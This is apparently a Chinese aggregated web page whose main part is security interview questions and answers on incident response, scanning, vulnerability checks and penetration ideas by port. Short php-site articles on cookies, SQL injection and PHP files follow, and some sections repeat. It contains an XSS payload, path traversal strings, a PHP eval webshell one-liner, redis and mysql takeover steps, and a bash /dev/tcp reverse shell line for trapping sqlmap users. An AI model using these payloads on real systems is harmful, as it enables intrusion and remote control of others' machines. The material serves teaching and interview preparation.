备份恢复:如果事先已对关键文件做了备份,在确保已清除病毒情况下可做数据备份恢复。如果卷影备份未被勒索病毒删除,可通过卷影备份将系统恢复到未感染勒索病毒的时间点。

改密码:使用长度大于10位的复杂密码。

加限制:禁用GUEST来宾用户。尽量不要使用局域网共享,或把共享磁盘设置为只读属性,不允许局域网用户改写文件。尽量关闭不必要的端口,如:445、135、139、 3389、5900 。

防钓鱼:不要点击来源不明的邮件以及附件,钓鱼邮件是勒索病毒的重要传播源。

14.请描述我们公司的网络安全现状,与改进方案

(非标准答案)

xx公司的网络安全状况主要存在以下几点安全隐患:

IP段划分不清 IP段划分不清导致的后果就是资产管理混乱,不明IP过多,可能存在“三无七边”系统,导致安全隐患公司疑似存留被人入侵过的痕迹,需要及时排查公司存在开源社区源代码泄露情况改进方案:

资产清查启用资产清查方案,对存活IP进行认领,收集各个系统安全负责人,统一对各个IP网段进行划分部署进行安全检查 + 渗透资产收集完成以后,对天讯公司进行常规安全检查,包括:全端口、主机、web和服务器进行基线检查 对扫描完的结果根据资产收集情况下发给各个负责人进行整改 其外,安全中心团队安排渗透人员对公司网站进行渗透测试,发现系统脆弱性源代码泄露情况自查 使用安全中心团队搭建的GitHub代码泄露监控系统进行检查

15. 如何排查常见挖矿木马

首先挖矿木马是占用系统资源进行挖矿行为

常见的遭遇挖矿会有以下行为:

系统响应缓慢CPU/显卡使用率过高内存/带宽占用高登录进可疑主机后,可以通过以下方式确认挖矿木马:

查看进程(系统命ps、ls令有可能被替换)检查日志、检查系统用户发现异常文件参考链接留言或私信获取

16.如何清查互联网暴露面

对于客户不清楚自己是否还有其他互联网暴露面的时候,需要先将客户已知的资产清单收集起来,方便后续对比

对于公网暴露面:

在出口网关设置流量监控工具(wireshark或者自带防火墙),检测足够长的时间以获得可能存在的暴露IP地址 nmap公网扫描全端口走一波,然后对照已知资产清单即可

nmap全端口扫描命令:nmap -sV -n -Pn -p- -iL ip.txt -oA OUTPUT --no-stylesheet --min-rate 5000 --max-retries 3

未认领的资产进行下线关停处理

17.如何检查mongodb未授权访问漏洞

方法一:

使用mangodb_unauth.py脚本进行处理,将ip地址放进target.txt

用法为:

python mangodb_unauth.py target.txt

方法二:

使用nmap插件,命令为:nmap -p 27017 --script mongodb-info 192.168.0.1/24

参考链接留言或私信获取

18.如何检测iis短文件名漏洞

方法一:

使用iis_shortname_Scan.py脚本进行检测,

用法:python IIS_shortname_Scan.py http://www.target.com/

参考链接留言或私信获取

方法二:

使用nmap,命令为nmap -p 80 --script http-iis-short-name-brute 192.168.0.1/24

参考链接留言或私信获取

19.如何验证存在xss漏洞

XSS漏洞的原理是:插入语句、改变结果、操纵数据,本质是:用户输入的html语句直接输出,包括了使用不正确的方法去验证。

挖掘XSS的第一步是找输入,也就是用户可以操控代码的位置

第二步是找输出,也就是找到第一步用户输入的代码在网页的何处地方进行了输出

第三步:构造payload, 通过查看源代码,构建出payload。如代码输出位置在<td>test</td>,即可构建出payload:test</td><svg/onload=console.log(1)><td>, 最后输出结果为:

<td>test</td><svg/onload=console.log(1)><td></td>

20.如何验证存在任意文件下载的漏洞

一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

利用条件:

存在读文件的函数读取文件的路径用户可控且未校验或校验不严输出了文件内容任意文件下载和任意文件读取有着相似的地方:就是都需要路径 例如 index.php?f=le:///etc/passwd

index.php?f=../index.php

修复方案:

两者的修复方案如下:

过滤用户数据,如“/”,“*”,"."等特殊字符更新中间件要下载的文件地址保存至数据库中。文件路径保存至数据库,让用户提交文件对应ID或session下载文件。用户下载文件之前需要进行权限判断。文件放在web无法直接访问的目录下。不允许提供目录遍历服务。公开文件可放置在web应用程序下载目录中通过链接进行下载参考链接留言或私信获取

21.如何判别web服务器是windows还是linux

方法一:nmap带上-O参数方法二:查看http报头Server字段方法三:Windows对于大小写不敏感,替换某个字母为大写返回正常为Windows,反之Linux方法四:TTL返回值,TTL为64,有很大可能性为Linux,TTL为128,有很大可能性为Windows,TTL为255,有很大可能性为UNIX(可修改TTL)参考链接留言或私信获取

22.ddos攻击如何去防范

DDoS分为很多种,对于不同的类型有着不同的应付方式

目前对于低网络层的DDoS攻击有一些有效的防护手段,如丢弃第一次SYN包,上流量防护设备,上WAF封禁地址等

比较难缠的是第七层,第八层的CC攻击,它会找到目标网站上比较消耗资源的关键位置,重复发起攻击以消耗CPU/内存/数据库IO等资源 目前的应付手段有:优化资源消耗高位置的代码,增加硬件设备,上云,购买专业安全公司的安全服务

除此之外,隐藏服务器的真实IP、上云WAF、CDN、负载均衡等设备,或者暂时将域名解析到公安网警网站等 也是可以作为选择方案

23. web短信重置密码有可能有哪几种绕过方式

1,短信验证码可爆破;

2,短信验证码显示在获取验证码请求的回显中;

3,注册手机号及短信验证码未进行匹配性验证;

4,用户名、手机号码、短信验证码三者没有进行匹配性验证;

5,短信验证码的验证在本地客户端进行验证;

6,重置步骤未进行校验;

7,重置请求未验证身份;

8,登陆成功修改密码功能平行越权;

9,未校验身份信息的唯一标识cookie信息;

22.ddos攻击如何去防范

DDoS分为很多种,对于不同的类型有着不同的应付方式

目前对于低网络层的DDoS攻击有一些有效的防护手段,如丢弃第一次SYN包,上流量防护设备,上WAF封禁地址等

比较难缠的是第七层,第八层的CC攻击,它会找到目标网站上比较消耗资源的关键位置,重复发起攻击以消耗CPU/内存/数据库IO等资源 目前的应付手段有:优化资源消耗高位置的代码,增加硬件设备,上云,购买专业安全公司的安全服务

除此之外,隐藏服务器的真实IP、上云WAF、CDN、负载均衡等设备,或者暂时将域名解析到公安网警网站等 也是可以作为选择方案

23. web短信重置密码有可能有哪几种绕过方式

1,短信验证码可爆破;

2,短信验证码显示在获取验证码请求的回显中;

3,注册手机号及短信验证码未进行匹配性验证;

4,用户名、手机号码、短信验证码三者没有进行匹配性验证;

5,短信验证码的验证在本地客户端进行验证;

6,重置步骤未进行校验;

7,重置请求未验证身份;

8,登陆成功修改密码功能平行越权;

9,未校验身份信息的唯一标识cookie信息;

参考链接留言或私信获取

24.假设发现数据库短时间内查询异常次数增多,描述sql查询异常流量分析的思路。

数据库短时间内查询增多有可能遭遇到了扫描或者sql注入测试,可以结合流量分析工具进行研判

select 和 union 为数据库查询语句特征,当这两者数量出现次数较多而且差异较小可能存在SQL注入漏洞或正在被扫描器扫描,可监控这两个关键字,但还需要进一步查看具体请求参数。如:

1) 使用wireshark打开抓取后的流量包。

2) 对于抓取到的数据包筛选出HTTP协议包,在统计处筛选出短时间内流量较大的IP

4) 筛选出可以攻击IP,分析流量包HTTP流。即可定位

25.假设发现web应用服务器发现文件异常增多,初步怀疑被上传webshell,描述流量分析溯源的思路。

可利用流量工具进行溯源:

1) 查看eval、z0、shell、whoami等关键字,查看出现次数过多的时候,可能需要查看是哪个页面发起的请求,有可能是webshell

2) 通过WireShark工具快速搜索关键字,定位到异常流量包

3) 找出异常IP和所上传的内容,查看是否为webshell

如何定位到攻击IP:

1) 首先通过选择-统计-对话查看流量的走向情况,定位可疑的IP地址

2) 根据定位到的IP地址,尝试对上传的webshell进行定位ip.addr == ip && http matches “upload||eval|select|xp_cmdshell”&& http.request.method == “POST”

3) 查找到Webshell后尝试溯源漏洞位置,http.request.uri contains “webshell.php”,定位到最开始webshell执行或上传的时候

4) 根据最开始的HTTP上传包或者其他漏洞特产定位漏洞类型

26.假设渗透时发现服务器开了21,80,445,3306,11211端口,你有什么渗透思路。

1) 针对21端口 21端口开放表明运行这FTP服务,可以尝试对FTP进行爆破和尝试匿名anonymous/空登陆。以及使用MS12-073的攻击尝试。

2) 80端口对应web服务,可通过信息收集,分析出去中间件类型和版本,后端语言类型。还有CMS类型,看是否可有已知漏洞可利用。若无,对Web站点进行渗透测,查看是否存在注入等漏洞。

3) 445端口对应网络共享SMB服务,可尝试利用ms08-067,ms17-010等溢出漏洞对服务器进行攻击。也可以尝试使用IPC$进行攻击

4) 对于3306 mysql端口也可以采用爆破的方式。成功后,可以用mysql写webshell,或者构造VBS写入服务器启动项,带服务器重启就可以添加管理员账号和打开3389端口。

5) 11211端口是memcached服务的端口。memcache默认情况下存在未授权访问漏洞,telnet ip 就可以获得服务器敏感信息。对进一步渗透提供帮助

参考链接留言或私信获取

27.假设渗透时发现服务器开了22,8080,8161,6379端口,你有什么渗透思路。

1) 22端口一般时LINUX服务器的SSH远程登陆协议,一般也采用爆破的方法。

2) 8088Hadoop Yarn资源管理系统REST API存在未授权漏洞。通过curl -v -X POST申请新的application,构造提交任务后即可在相应目录生成webshell。

3) 8161运行着Apache ActiveMQ。其Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)。当ActiveMQ开启PUT请求时(默认开启),构造好Payload(即不存在的目录),Response会返回相应的物理路径信息。ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell。ActiveMQ除了支持PUT协议之外,还支持MOVE协议,可导致任意文件移动漏洞。其还存在CVE-2015-5254 反序列化等漏洞。

4) 6379是redis数据库的开放端口。Redis因配置不当可以导致未授权访问。通过连接redis(./redis-cli -h IP),可实现写入webshell,写入crontab计划任务反弹shell,以及写入ssh公钥,获取操作系统权限。其端口也可被暴力破解。

28.假设你有服务器的php一句话 webshell,代码为<?php eval($_POST[“cmd”]) ?>,现在使用webshell直接构造请求包上传文件,请给出使用webshell直接上传文件的请求包。

29. 反渗透思路

假设新手攻击者想对http://3s_nwgeek.com/test.php

使用kali linux 中的Sqlmap做注入测试,该test.php正常请求包如下:POST /test.php HTTP/1.1 Host: 3s_nwgeek.com:80 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Content-Length: 478 Connection: close

test=123 已知新手攻击者会直接复制post的data使用sqlmap 命令:

sqlmap -u http://3s_nwgeek.com/test.php

--data “post的data” --dbs --random-agent来进行sql注入漏洞检测,现在你是网站的开发,你会如何进行反渗透,令攻击者在输入测试指令的过程中不经意地执行了你的恶意指令。

其实sqlmap的命令中, 在Linux下的bash命令为:sqlmap -u http://3s_nwgeek.com/test.php --data “post的data” --dbs --random-agent其中如果在命令中插入双引号中的”!!”或者”!+数字”,会替换成历史命令,执行”history”命令,就可以知道哪些数字对应哪些命令了。 如果我将”!”放入到http请求中, 执行了

bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked" 首先双引号中的!!会被替换成你最近执行的一条历史命令 上面只是一个例子

那么如果将 `这个符号插进命令行中, 任何在 `` 之间的命令,都会被执行 如果我将这些特殊的字符(“!” , “`”…)放到get/post/cookie等http请求参数中,万一有人用sqlmap去对该网站进行安全测试,而注入参数正好包含了这些特殊字符,那么有意思的事情就产生了

构建的参数如下:

sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "evilcode"

例如一个form表单, 代码如下:

如果访问这个页面, 就会有以下的数据包产生

这时候如果直接将postdata,复制,粘贴,sqlmap执行之, 就凉了, 就会被执行

bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1这个特征比较明显,我们可以进行进行编码一下,可以避开很多问题

其中 `里面的命令就会被执行(参考链接留言或私信获取)

30. 某专业公司A公司安全项目,跟专业公司A谈妥后完成了外网扫描任务,现在进行内网扫描。由于业务量比较大安排在晚上下班后进行扫描。第一天扫描晚上9点由于不明原因导致A专业公司所有系统无法访问,被专业公司A的人询问情况, 第二天检查原因发现,是因为所有流量是经过VPN到达主机,导致进出口VPN网关堵塞,业务无法正常访问,请问被专业公司A的人询问情况如何应急处理?判断原因并说明后续如何开展扫描任务?

考查应急处理和客户沟通,首先调解客户情绪,跟客户沟通,立马停止扫描以恢复业务系统正常,并告知A公司进行排查原因,检查网络与主机情况。 其次考察网络知识,既然流量通过VPN会进行堵塞,想办法绕过此VPN或者降速,这里要求提供内网扫描机器进行扫描即可,但需要吸取上次经验扫描前进行扫描测试,如在中午休息的时候进行探测性扫描,测压。然后在晚上再进行扫描,扫描时需要A公司派网管人员帮忙查看系统状况是否正常。

31. 扫描任务结束后将结果发给A公司,A公司对其中的一类型漏洞表示疑惑:认为自己没有办法修复此类漏洞(比较积极的专业公司),向我方询问,并想要我方帮忙修复漏洞。此场景应该怎么处理?

考察责任划分问题,原则上是不允许直接操作客户公司的机器,以及 对于客户机器权限需要特别谨慎对待(能不要就不要), 我们负责解释漏洞这方面的事宜,并且积极的提供整改建议,并不能直接或者间接操作客户机器。

其次考验客户想让我们直接修复漏洞的处理方式,这种情况会经常出现在我们的日常工作中,我们要说明职责范围: 我们只负责解释漏洞描述和原理以及修复建议,他们负责整改. 我们对系统业务不熟悉,我们亲自修复话出现风险和问题也是我们承担不了的。

32. 安全任务结束后,发还结果给A公司,A公司经过检查后发现某个漏洞没有出现在结果里,被遗漏了。经检查后发现确实是我方当时没有扫描出来,如何跟客户解释和处理?

考察沟通能力, 首先安抚客户情绪, 直接先给结论不合适,可以先表示我们进行核查后反馈,然后扫描的漏洞进行复扫再分析, 接下来就是找有理有据经得起推敲的理由来合适圆场

先确认该漏洞是否存在

如果漏洞存在

也就是我们没扫出来,就需要检查当时资产是否存活,是不是关停又开起来,是不是因为当时网络不好,带宽不够大,网络波动大,外网环境不稳定、WAF拦截等,先稳住客户情绪,让客户相信我们是有能力的,只是偶尔因为不可控因素出现了问题 然后提供补救方案,进行补扫等后续方案

如果漏洞扫不出来换个扫描器,比较差异,如果还是扫不出来的话,就要考虑优化方案,看要不要立个专项检测来单独对此漏洞进行批量排查。 如果实在是我们的问题,找不到理由圆场的话,我们就老实承认, 找客户经理进行沟通,提出不足并且要有改进的方案等, 考虑如何给客户一个满意的交代,确保下次不会再出现此类问题

展开
收起

phpstudy修改mysql文件导入大小

phpstudy修改mysql文件导入大小方法

修改此处的数据库文件导入大小,需要修改三个参数

如设置为50M,设置分别如下:

展开
收起

cookie与session的区别是什么

cookie与session的区别有:cookie以文本格式存储在浏览器上,存储量有限;而会话存储在服务端,可以无限量存储多个变量并且比cookie更安全

在php中可以指定站点的访问者信息存储在session或者cookie中,它们都可以完成同样的事,那么他们的区别是什么呢,接下来将在文章中为大家详细介绍。

cookie

位于用户的计算机上,用来维护用户计算机中的信息,直到用户删除。比如我们在网页上登录某个软件时输入用户名及密码时如果保存为cookie,则每次我们访问的时候就不需要登录网站了。我们可以在浏览器上保存任何文本,而且我们还可以随时随地的去阻止它或者删除。我们同样也可以禁用或者编辑cookie,但是有一点需要注意不要使用cookie来存储一些隐私数据,以防隐私泄露

session

session称为会话信息,位于web服务器上,主要负责访问者与网站之间的交互,当访问浏览器请求http地址时,将传递到web服务器上并与访问信息进行匹配, 当关闭网站时就表示会话已经结束,网站无法访问该信息了,所以它无法保存永久数据,我们无法访问以及禁用网站

session与cookie的区别

(1)Cookie以文本文件格式存储在浏览器中,而session存储在服务端它存储了限制数据量。它只允许4kb它没有在cookie中保存多个变量。

(2)cookie的存储限制了数据量,只允许4KB,而session是无限量的

(3)我们可以轻松访问cookie值但是我们无法轻松访问会话值,因此它更安全

(4)设置cookie时间可以使cookie过期。但是使用session-destory(),我们将会销毁会话。

总结:如果我们需要经常登录一个站点时,最好用cookie来保存信息,要不然每次登陆都特别麻烦,如果对于需要安全性高的站点以及控制数据的能力时需要用会话效果更佳,当然我们也可以结合两者,使网站按照我们的想法进行运行

以上就是cookie与session有什么区别的详细内容,更多请关注php中文网其它相关文章!

展开
收起

SQL注入是什么?如何防止?

SQL注入是一种注入攻击,可以执行恶意SQL语句。下面本篇文章就来带大家了解一下SQL注入,简单介绍一下防止SQL注入攻击的方法,希望对大家有所帮助。

什么是SQL注入?

SQL注入(SQLi)是一种注入攻击,,可以执行恶意SQL语句。它通过将任意SQL代码插入数据库查询,使攻击者能够完全控制Web应用程序后面的数据库服务器。攻击者可以使用SQL注入漏洞绕过应用程序安全措施;可以绕过网页或Web应用程序的身份验证和授权,并检索整个SQL数据库的内容;还可以使用SQL注入来添加,修改和删除数据库中的记录。

SQL注入漏洞可能会影响使用SQL数据库(如MySQL,Oracle,SQL Server或其他)的任何网站或Web应用程序。犯罪分子可能会利用它来未经授权访问用户的敏感数据:客户信息,个人数据,商业机密,知识产权等。SQL注入攻击是最古老,最流行,最危险的Web应用程序漏洞之一。

SQL注入攻击的类型

SQL注入攻击可以通过多种方式执行。在选择特定攻击方法之前,攻击者可能会观察系统的行为。

带内注入

这是典型的攻击,攻击者可以通过相同的通信通道发起攻击并获得结果。这是通过两种带内技术完成的:

● 基于错误的SQL注入:从显示的错误消息中获取有关数据库的信息

● 基于联合的SQL注入:依赖于攻击者能够将UNION ALL被盗信息的结果与合法结果连接起来。

这两种技术都依赖于攻击者修改应用程序发送的SQL,以及浏览器中显示的错误和返回的信息。如果应用程序开发人员或数据库开发人员无法正确地参数化他们在查询中使用的值,那么它会成功。两者都是试错法,可以检测到错误。

盲注入

也称为推理SQL注入,盲注入攻击不会直接从目标数据库中显示数据;相反,攻击者会仔细检查行为中的间接线索。HTTP响应中的详细信息,某些用户输入的空白网页以及数据库响应某些用户输入需要多长时间,这些都可以是线索,具体取决于攻击者的目标。他们还可以指向攻击者尝试的另一个SQLi攻击途径。

带外注入

这种攻击有点复杂,当攻击者无法在单个直接查询 - 响应攻击中实现其目标时,攻击者可能会使用此攻击。通常,攻击者会制作SQL语句,这些语句在呈现给数据库时会触发数据库系统创建与攻击者控制的外部服务器的连接。以这种方式,攻击者可以收集数据或可能控制数据库的行为。

二阶注入就是一种带外注入攻击。在这种情况下,攻击者将提供SQL注入,该注入将由数据库系统的单独行为存储和执行。当二级系统行为发生时(它可能类似于基于时间的作业或由其他典型管理员或用户使用数据库触发的某些事情)并且执行攻击者的SQL注入,那就是当“伸出”到系统时攻击者控制发生了。

如何防止SQL注入攻击?

以下建议可以帮助防止SQL注入攻击成功:

不要使用动态SQL

避免将用户提供的输入直接放入SQL语句中;最好使用准备好的语句和参数化查询,这样更安全。

不要将敏感数据保留在纯文本中

加密存储在数据库中的私有/机密数据;这样可以提供了另一级保护,以防攻击者成功地排出敏感数据。

限制数据库权限和特权

将数据库用户的功能设置为最低要求;这将限制攻击者在设法获取访问权限时可以执行的操作。

避免直接向用户显示数据库错误

攻击者可以使用这些错误消息来获取有关数据库的信息。

对访问数据库的Web应用程序使用Web应用程序防火墙(WAF)

这为面向Web的应用程序提供了保护,它可以帮助识别SQL注入尝试;根据设置,它还可以帮助防止SQL注入尝试到达应用程序(以及数据库)。

定期测试与数据库交互的Web应用程序

这样做可以帮助捕获可能允许SQL注入的新错误或回归。

将数据库更新为最新的可用修补程序

这可以防止攻击者利用旧版本中存在的已知弱点/错误。

总结:SQL注入是一种流行的攻击攻击方法,但是通过采取适当的预防措施,例如确保数据加密,保护和测试Web应用程序,以及您是最新的补丁程序,您可以采取有意义的步骤来保持您的数据安全。

以上就是什么是SQL注入?如何防止SQL注入攻击?的详细内容,更多请关注php中文网其它相关文章!

展开
收起

PHP格式文件打开的方法有哪些?多种方法供你参考

本篇文章容大教育给大家分享一下PHP格式文件打开的方法有哪些,文章中会有详细的方法与代码列出,喜欢PHP开发技术的小伙伴可以随着小编一起来了解下。

php文件格式怎么打开?要搞清楚php文件用什么打开,首先我们来看php文件是什么文件,PHP是一个网页脚本,文件后缀名为.php,如下图:

但不同于html xml 标签语言,直接可以通过浏览器打开,php文件需要有PHP的运行环境才可以访问和打开,如果只是编辑PHP文件,只需要用:

php文件打开方式一:用记事本打开

右击.php文件,选择记事本打开,就可以看到文件代码啦!

php文件打开方式二:用Dreamweaver打开

Dreamweaver是网页编辑器,比较流行的网站开发工具,你可以直接把文件拖进去就可以打开php文件了

php文件打开方式三:Notepad++工具打开

也是代码编辑器,选择文件打开就行

php文件打开方式四:SublimeText工具打开

和上面方法一样,直接选择文件打开就行

除了记事本,其它代码编辑器工具都可以去php中文网php开发工具下载。

以上就是容大教育PHP在线学习小编给大家分享的PHP格式文件打开的方法,希望对小伙伴们有所帮助。

容大教育IT培训机构,能够为你提供良好的技术学习,能够更好地了解每个学习者的需求,根据每个学习者特定的需求为其配置最合适的资产组合,无疑更加符合学习者的需求。

展开
收起